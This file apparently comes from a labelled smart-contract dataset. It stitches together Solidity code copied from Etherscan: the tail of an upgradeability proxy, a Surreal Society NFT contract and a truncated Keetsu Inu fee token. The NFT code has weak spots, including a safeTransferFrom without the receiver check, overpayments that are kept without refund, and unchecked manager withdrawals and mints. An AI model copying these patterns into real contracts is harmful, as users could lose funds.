_delegate(_implementation());
}
}
// Part: UpgradeabilityProxy
/**
* @title UpgradeabilityProxy
* @dev This contract implements a proxy that allows to change the
* implementation address to which it will delegate.
* Such a change is called an implementation upgrade.
*/
contract UpgradeabilityProxy is Proxy {
/**
* @dev Contract constructor.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, bytes memory _data) public payable {
assert(
IMPLEMENTATION_SLOT ==
bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1)
);
_setImplementation(_logic);
if (_data.length > 0) {
(bool success, ) = _logic.delegatecall(_data);
require(success);
}
}
/**
* @dev Emitted when the implementation is upgraded.
* @param implementation Address of the new implementation.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant IMPLEMENTATION_SLOT =
0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation.
* @return impl Address of the current implementation
*/
function _implementation() internal view override returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
* @param newImplementation Address of the new implementation.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Sets the implementation address of the proxy.
* @param newImplementation Address of the new implementation.
*/
function _setImplementation(address newImplementation) internal {
require(
Address.isContract(newImplementation),
"Cannot set a proxy implementation to a non-contract address"
);
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, newImplementation)
}
}
}
// File: AdminUpgradeabilityProxy.sol
/**
* @title AdminUpgradeabilityProxy
* @dev This contract combines an upgradeability proxy with an authorization
* mechanism for administrative tasks.
* All external functions in this contract must be guarded by the
* `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity
* feature proposal that would enable this to be done automatically.
*/
contract AdminUpgradeabilityProxy is UpgradeabilityProxy {
/**
* Contract constructor.
* @param _logic address of the initial implementation.
* @param _admin Address of the proxy administrator.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(
address _logic,
address _admin,
bytes memory _data
) public payable UpgradeabilityProxy(_logic, _data) {
assert(
ADMIN_SLOT == bytes32(uint256(keccak256("eip1967.proxy.admin")) - 1)
);
_setAdmin(_admin);
}
/**
* @dev Emitted when the administration has been transferred.
* @param previousAdmin Address of the previous admin.
* @param newAdmin Address of the new admin.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant ADMIN_SLOT =
0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Modifier to check whether the `msg.sender` is the admin.
* If it is, it will run the function. Otherwise, it will delegate the call
* to the implementation.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* @return The address of the proxy admin.
*/
function admin() external ifAdmin returns (address) {
return _admin();
}
/**
* @return The address of the implementation.
*/
function implementation() external ifAdmin returns (address) {
return _implementation();
}
/**
* @dev Changes the admin of the proxy.
* Only the current admin can call this function.
* @param newAdmin Address to transfer proxy administration to.
*/
function changeAdmin(address newAdmin) external ifAdmin {
require(
newAdmin != address(0),
"Cannot change the admin of a proxy to the zero address"
);
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Upgrade the backing implementation of the proxy.
* Only the admin can call this function.
* @param newImplementation Address of the new implementation.
*/
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeTo(newImplementation);
}
/**
* @dev Upgrade the backing implementation of the proxy and call a function
* on the new implementation.
* This is useful to initialize the proxied contract.
* @param newImplementation Address of the new implementation.
* @param data Data to send as msg.data in the low level call.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data)
external
payable
ifAdmin
{
_upgradeTo(newImplementation);
(bool success, ) = newImplementation.delegatecall(data);
require(success);
}
/**
* @return adm The admin slot.
*/
function _admin() internal view returns (address adm) {
bytes32 slot = ADMIN_SLOT;
assembly {
adm := sload(slot)
}
}
/**
* @dev Sets the address of the proxy admin.
* @param newAdmin Address of the new proxy admin.
*/
function _setAdmin(address newAdmin) internal {
bytes32 slot = ADMIN_SLOT;
assembly {
sstore(slot, newAdmin)
}
}
/**
* @dev Only fall back when the sender is not the admin.
*/
function _willFallback() internal virtual override {
require(
msg.sender != _admin(),
"Cannot call fallback function from the proxy admin"
);
super._willFallback();
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2022-01-21
*/
// SPDX-License-Identifier: MIT
pragma solidity =0.7.6;
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
interface IERC721 is IERC165 {
event Transfer(address indexed _from, address indexed _to, uint256 indexed _tokenId);
event Approval(address indexed _owner, address indexed _approved, uint256 indexed _tokenId);
event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved);
function balanceOf(address _owner) external view returns (uint256);
function ownerOf(uint256 _tokenId) external view returns (address);
function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes calldata data) external;
function safeTransferFrom(address _from, address _to, uint256 _tokenId) external;
function transferFrom(address _from, address _to, uint256 _tokenId) external;
function approve(address _approved, uint256 _tokenId) external;
function setApprovalForAll(address _operator, bool _approved) external;
function getApproved(uint256 _tokenId) external view returns (address);
function isApprovedForAll(address _owner, address _operator) external view returns (bool);
}
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
function totalSupply() external view returns(uint256);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
abstract contract ERC165 is IERC165 {
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
library Strings {
function toString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
}
abstract contract CFMS { //Crypto Family Management Standard
address private _owner;
mapping(address => bool) private _manager;
event OwnershipTransfer(address indexed newOwner);
event SetManager(address indexed manager, bool state);
constructor() {
_owner = msg.sender;
_manager[msg.sender] = true;
emit SetManager(msg.sender, true);
}
//Modifiers ==========================================================================================================================================
modifier Owner() {
require(msg.sender == _owner, "CFMS: NOT_OWNER");
_;
}
modifier Manager() {
require(_manager[msg.sender], "CFMS: MOT_MANAGER");
_;
}
//Read functions =====================================================================================================================================
function owner() public view returns (address) {
return _owner;
}
function manager(address user) external view returns(bool) {
return _manager[user];
}
//Write functions ====================================================================================================================================
function setNewOwner(address user) external Owner {
_owner = user;
emit OwnershipTransfer(user);
}
function setManager(address user, bool state) external Owner {
_manager[user] = state;
emit SetManager(user, state);
}
}
abstract contract CF_ERC721 is CFMS, ERC165, IERC721, IERC721Metadata{ //Crypto Family ERC721 Standard
using Strings for uint256;
string internal uriLink = "";
uint256 internal _totalSupply;
string private _name = "Surreal Society";
string private _symbol = "SURREAL";
mapping(uint256 => address) internal _owners;
mapping(address => uint256) private _balances;
mapping(uint256 => address) private _tokenApprovals;
mapping(address => mapping(address => bool)) private _operatorApprovals;
//Read Functions======================================================================================================================================================
function supportsInterface(bytes4 interfaceId) public view override(ERC165, IERC165) returns (bool) {
return interfaceId == type(IERC721).interfaceId
|| interfaceId == type(IERC721Metadata).interfaceId
|| super.supportsInterface(interfaceId);
}
function balanceOf(address owner) external view override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
function ownerOf(uint256 tokenId) external view override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
function name() public view override returns (string memory) {
return _name;
}
function symbol() public view override returns (string memory) {
return _symbol;
}
function totalSupply() public view override returns(uint256){return _totalSupply;}
function tokenURI(uint256 tokenId) external view virtual override returns (string memory) {
return string(abi.encodePacked(uriLink, "secret.json"));
}
function getApproved(uint256 tokenId) external view override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
function isApprovedForAll(address owner, address operator) public view override returns (bool) {
return _operatorApprovals[owner][operator];
}
//Moderator Functions======================================================================================================================================================
function changeURIlink(string calldata newUri) external Manager {
uriLink = newUri;
}
function changeData(string calldata name, string calldata symbol) external Manager {
_name = name;
_symbol = symbol;
}
//User Functions======================================================================================================================================================
function approve(address to, uint256 tokenId) external override {
address owner = _owners[tokenId];
require(msg.sender == owner || isApprovedForAll(owner, msg.sender),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
function setApprovalForAll(address operator, bool approved) public override {
require(operator != msg.sender, "ERC721: approve to caller");
_operatorApprovals[msg.sender][operator] = approved;
emit ApprovalForAll(msg.sender, operator, approved);
}
function transferFrom(address from, address to, uint256 tokenId) external override {
require(_isApprovedOrOwner(msg.sender, tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
function safeTransferFrom(address from, address to, uint256 tokenId) external override {
require(_isApprovedOrOwner(msg.sender, tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata _data) external override {
require(_isApprovedOrOwner(msg.sender, tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
//Internal Functions======================================================================================================================================================
function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal {
_transfer(from, to, tokenId);
}
function _exists(uint256 tokenId) internal view returns (bool) {
return _owners[tokenId] != address(0);
}
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = _owners[tokenId];
require(spender == owner || _tokenApprovals[tokenId] == spender || isApprovedForAll(owner, spender), "ERC721: Not approved or owner");
return true;
}
function _transfer(address from, address to, uint256 tokenId) internal {
require(_owners[tokenId] == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
function _approve(address to, uint256 tokenId) internal {
_tokenApprovals[tokenId] = to;
emit Approval(_owners[tokenId], to, tokenId);
}
function _mint(address user, uint256 amount) internal {
_balances[user] += amount;
uint256 tokenId;
for(uint256 t; t < amount; ++t) {
tokenId = _totalSupply++;
_owners[tokenId] = user;
emit Transfer(address(0), user, tokenId);
}
}
}
contract SURREAL is CF_ERC721 {
using Strings for uint256;
bool private _reveal = false;
uint256 private _whitePrice = 100000000000000000;
uint256 private _publicPrice = 150000000000000000;
mapping(address => uint256) private _userWhiteMints; //How many times did the user mint in white lsit minting
uint256 private _whiteMinted;
mapping(address => bool) private _whiteAccess;
constructor() {
_mint(0x81cc8A4bb62fF93f62EC94e3AA40A3A862c54368, 10);
}
//Read Functions======================================================================================================================================================
function tokenURI(uint256 tokenId) external view override returns (string memory) {
if(!_reveal) {return string(abi.encodePacked(uriLink, "secret.json"));}
++tokenId;
return string(abi.encodePacked(uriLink, tokenId.toString(), ".json"));
}
function prices() public view returns(uint256 whitePrice, uint256 publicPrice) {
whitePrice = _whitePrice;
publicPrice = _publicPrice;
}
function whiteListed(address user) external view returns(bool listed) {
return _whiteAccess[user];
}
function userWhiteMints(address user) external view returns(uint256 mints) {
return _userWhiteMints[user];
}
//Moderator Functions======================================================================================================================================================
function setWhiteList(address[] calldata whiteUsers) external Owner {
uint256 size = whiteUsers.length;
for(uint256 t; t < size; ++t) {
_whiteAccess[whiteUsers[t]] = true;
}
}
function adminMint(address to, uint256 amount) external Manager {
_mint(to, amount);
}
function adminMint(address[] calldata to, uint256[] calldata amount) external Manager {
uint256 size = to.length;
for(uint256 t; t < size; ++t) {
_mint(to[t], amount[t]);
}
}
function changePrices(uint256 whitePrice, uint256 publicPrice) external Manager {
_whitePrice = whitePrice;
_publicPrice = publicPrice;
}
function toggleReveal() external Manager {
_reveal = !_reveal;
}
function withdraw(address payable to, uint256 value) external Manager {
to.transfer(value);
}
function distribute() public Manager {
uint256 balance = address(this).balance / 10000; // This is 0.01% of the total balance -> Needed to do presition calculations without floating point.
require(payable(0x81cc8A4bb62fF93f62EC94e3AA40A3A862c54368).send(balance * 5000));
require(payable(0x10f3667970FAd7dA441261c80727caCd8B164806).send(balance * 900));
require(payable(0x7A6c41c001d6Fbf4AE6022E936B24d0d39AE3a25).send(balance * 325));
require(payable(0x6Ec4EAA315aba37B7558A66c51D0dd4986128bCb).send(balance * 325));
require(payable(0xcc2ba3C4E74A531635b928D2aC5B3f176C8B6ec3).send(balance * 216));
require(payable(0x37B8C37EB031312c5DaaA02fD5baD9Dc380a8cc4).send(balance * 125));
require(payable(0xC970bd4E2dF5F33ea62c72b9c3d808b8a609e5e1).send(balance * 550));
require(payable(0xED7AdfDBbcB1b5C93fa8B6b28B0Fc833Fa68BCA0).send(balance * 580));
require(payable(0x50a583Ab2432BF3bC5E7458C8ed10BC5Ec3AB23E).send(balance * 580));
require(payable(0x3b0f95D44f629e8E24a294799c4A1D21f06B6969).send(balance * 225));
require(payable(0x02916D0f68a02c502476DC630628B01Ee36A7826).send(balance * 50));
require(payable(0x41b6cb632F5707bF80a1c904316b19fcBee2a4cF).send(balance * 50));
require(payable(0x2C1Ba2909A0dC98A6219079FBe9A4ab23517D47E).send(balance * 50));
require(payable(0x58EE6F81AE4Ed77E8Dc50344Ab7571EA7A75a9b7).send(balance * 24));
require(payable(0x3AA599FB8003B94666c9D66Db43D859ef5EEa29f).send(address(this).balance));
}
//User Functions======================================================================================================================================================
function whiteMint() external payable {
require(_whiteAccess[msg.sender], "SURREAL: Invalid Access");
uint256 amount = msg.value / _whitePrice;
_userWhiteMints[msg.sender] += amount;
require(_userWhiteMints[msg.sender] < 11, "SURREAL: Minting Limit Reached");
_whiteMinted += amount;
require(_whiteMinted < 1500,"SURREAL: Insufficient White Mint Tokens");
_mint(msg.sender, amount);
}
function mint() external payable {
uint256 amount = msg.value / _publicPrice;
require(_totalSupply + amount < 5000, "SURREAL: Insufficient Tokens");
_mint(msg.sender, amount);
}
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/**
*Submitted for verification at Etherscan.io on 2021-12-28
*/
/*
Keetsu Inu - New cat on the block here to take over DeFi!
📲Website: http://KeetsuInu.com
-Telegram: https://t.me/KeetsuInu
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value );
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly {
codehash := extcodehash(account)
}
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data,string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target,data,value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value,string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue,string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: weiValue}(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() external virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) external virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function getUnlockTime() public view returns (uint256) {
return _lockTime;
}
function getTime() public view returns (uint256) {
return block.timestamp;
}
}
interface IUniswapV2Factory {
event PairCreated( address indexed token0, address indexed token1, address pair, uint256);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint256) external view returns (address pair);
function allPairsLength() external view returns (uint256);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint256);
function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external;
event Burn(address indexed sender, uint256 amount0, uint256 amount1, address indexed to);
event Swap(address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint256);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint256);
function price1CumulativeLast() external view returns (uint256);
function kLast() external view returns (uint256);
function burn(address to) external returns (uint256 amount0, uint256 amount1);
function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline)
external returns (uint256 amountA, uint256 amountB, uint256 liquidity);
function addLiquidityETH(address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline)
external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
function removeLiquidity(address tokenA, address tokenB, uint256 liquidity, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline)
external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETH(address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline)
external returns (uint256 amountToken, uint256 amountETH);
function removeLiquidityWithPermit(address tokenA, address tokenB, uint256 liquidity, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s)
external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETHWithPermit(address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s)
external returns (uint256 amountToken, uint256 amountETH);
function swapExactTokensForTokens(uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline)
external returns (uint256[] memory amounts);
function swapTokensForExactTokens(uint256 amountOut, uint256 amountInMax, address[] calldata path, address to, uint256 deadline)
external returns (uint256[] memory amounts);
function swapExactETHForTokens(uint256 amountOutMin, address[] calldata path, address to, uint256 deadline)
external payable returns (uint256[] memory amounts);
function swapTokensForExactETH(uint256 amountOut, uint256 amountInMax, address[] calldata path, address to, uint256 deadline)
external returns (uint256[] memory amounts);
function swapExactTokensForETH(uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline)
external returns (uint256[] memory amounts);
function swapETHForExactTokens(uint256 amountOut, address[] calldata path, address to, uint256 deadline)
external payable returns (uint256[] memory amounts);
function quote(uint256 amountA, uint256 reserveA, uint256 reserveB)
external pure returns (uint256 amountB);
function getAmountOut(uint256 amountIn, uint256 reserveIn, uint256 reserveOut)
external pure returns (uint256 amountOut);
function getAmountIn(uint256 amountOut, uint256 reserveIn, uint256 reserveOut)
external pure returns (uint256 amountIn);
function getAmountsOut(uint256 amountIn, address[] calldata path) external view returns (uint256[] memory amounts);
function getAmountsIn(uint256 amountOut, address[] calldata path) external view returns (uint256[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline) external returns (uint256 amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint256 amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(uint256 amountOutMin, address[] calldata path, address to, uint256 deadline) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline) external;
}
contract KeetsuInu is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
address payable public marketingAddress = payable(0x99D12e63E33De1ce8F38C85660C91dDd8e8b6Ae1);
address payable public teamAddress = payable(0x99D12e63E33De1ce8F38C85660C91dDd8e8b6Ae1);
address payable private ownerAddress = payable(0x99D12e63E33De1ce8F38C85660C91dDd8e8b6Ae1);
address payable liquidityAddress = payable(msg.sender);
address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
mapping(address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1 * 1e9 * 1e18;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
bool public limitsInEffect = false;
string private constant _name = "Keetsu Inu";
string private constant _symbol = "KEETSU";
uint8 private constant _decimals = 18;
uint256 private constant BUY = 1;
uint256 private constant SELL = 2;
uint256 private constant TRANSFER = 3;
uint256 private buyOrSellSwitch;
// these values are pretty much arbitrary since they get overwritten for every txn, but the placeholders make it easier to work with current contract.
uint256 private _taxFee;
uint256 private _previousTaxFee = _taxFee;
uint256 private _liquidityFee;
uint256 private _previousLiquidityFee = _liquidityFee;
uint256 public _buyMarketingFee = 4;
uint256 public _buyTaxFee = 6;
uint256 public _buyLiquidityFee = 2;
uint256 public _buyTeamFee = 2;
// This will be adjust to avoid dump in the first few minutes
uint256 public _sellMarketingFee = 6;
uint256 public _sellTaxFee = 8;
uint256 public _sellLiquidityFee = 2;
uint256 public _sellTeamFee = 2;
uint256 public tradingActiveBlock = 0; // 0 means trading is not active
mapping(address => bool) public boughtEarly;
uint256 public earlyBuyPenaltyEnd; // determines when snipers/bots can sell without extra penalty
uint256 private _liquidityTokensToSwap;
uint256 private _marketingTokensToSwap;
uint256 private _teamTokensToSwap;
bool private gasLimitActive = false;
uint256 private gasPriceLimit = 100 * 1 gwei;
uint256 private gasMaxLimit = 50000000; // gasLeft limit
uint256 public maxTransactionAmount;
mapping (address => bool) public _isExcludedMaxTransactionAmount;
// store addresses that a automatic market maker pairs. Any transfer *to* these addresses
// could be subject to a maximum transfer amount
mapping (address => bool) public automatedMarketMakerPairs;
uint256 private minimumTokensBeforeSwap = _tTotal * 5 / 10000; // 0.05%
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = false;
bool public tradingActive = false;
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity);
event SwapETHForTokens(uint256 amountIn, address[] path);
event SwapTokensForETH(uint256 amountIn, address[] path);
event SetAutomatedMarketMakerPair(address pair, bool value);
event ExcludeFromReward(address excludedAddress);
event IncludeInReward(address includedAddress);
event ExcludeFromFee(address excludedAddress);
event IncludeInFee(address includedAddress);
event SetBuyFee(uint256 marketingFee, uint256 liquidityFee, uint256 reflectFee, uint256 buybackFee);
event SetSellFee(uint256 marketingFee, uint256 liquidityFee, uint256 reflectFee, uint256 buybackFee);
event TransferForeignToken(address token, uint256 amount);
event UpdatedMarketingAddress(address marketing);
event UpdatedLiquidityAddress(address liquidity);
event UpdatedTeamAddress(address buyback);
event OwnerForcedSwapBack(uint256 timestamp);
event BoughtEarly(address indexed sniper);
event RemovedSniper(address indexed notsnipersupposedly);
event UpdatedRouter(address indexed newrouter);
modifier lockTheSwap() {
inSwapAndLiquify = true; _; inSwapAndLiquify = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
_setAutomatedMarketMakerPair(uniswapV2Pair, true);
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[marketingAddress] = true;
_isExcludedFromFee[liquidityAddress] = true;
excludeFromMaxTransaction(owner(), true);
excludeFromMaxTransaction(address(this), true);
excludeFromMaxTransaction(address(0xdead), true);
tradingActive = true;
swapAndLiquifyEnabled = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() external pure returns (string memory) {
return _name;
}
function symbol() external pure returns (string memory) {
return _symbol;
}
function decimals() external pure returns (uint8) {
return _decimals;
}
function totalSupply() external pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
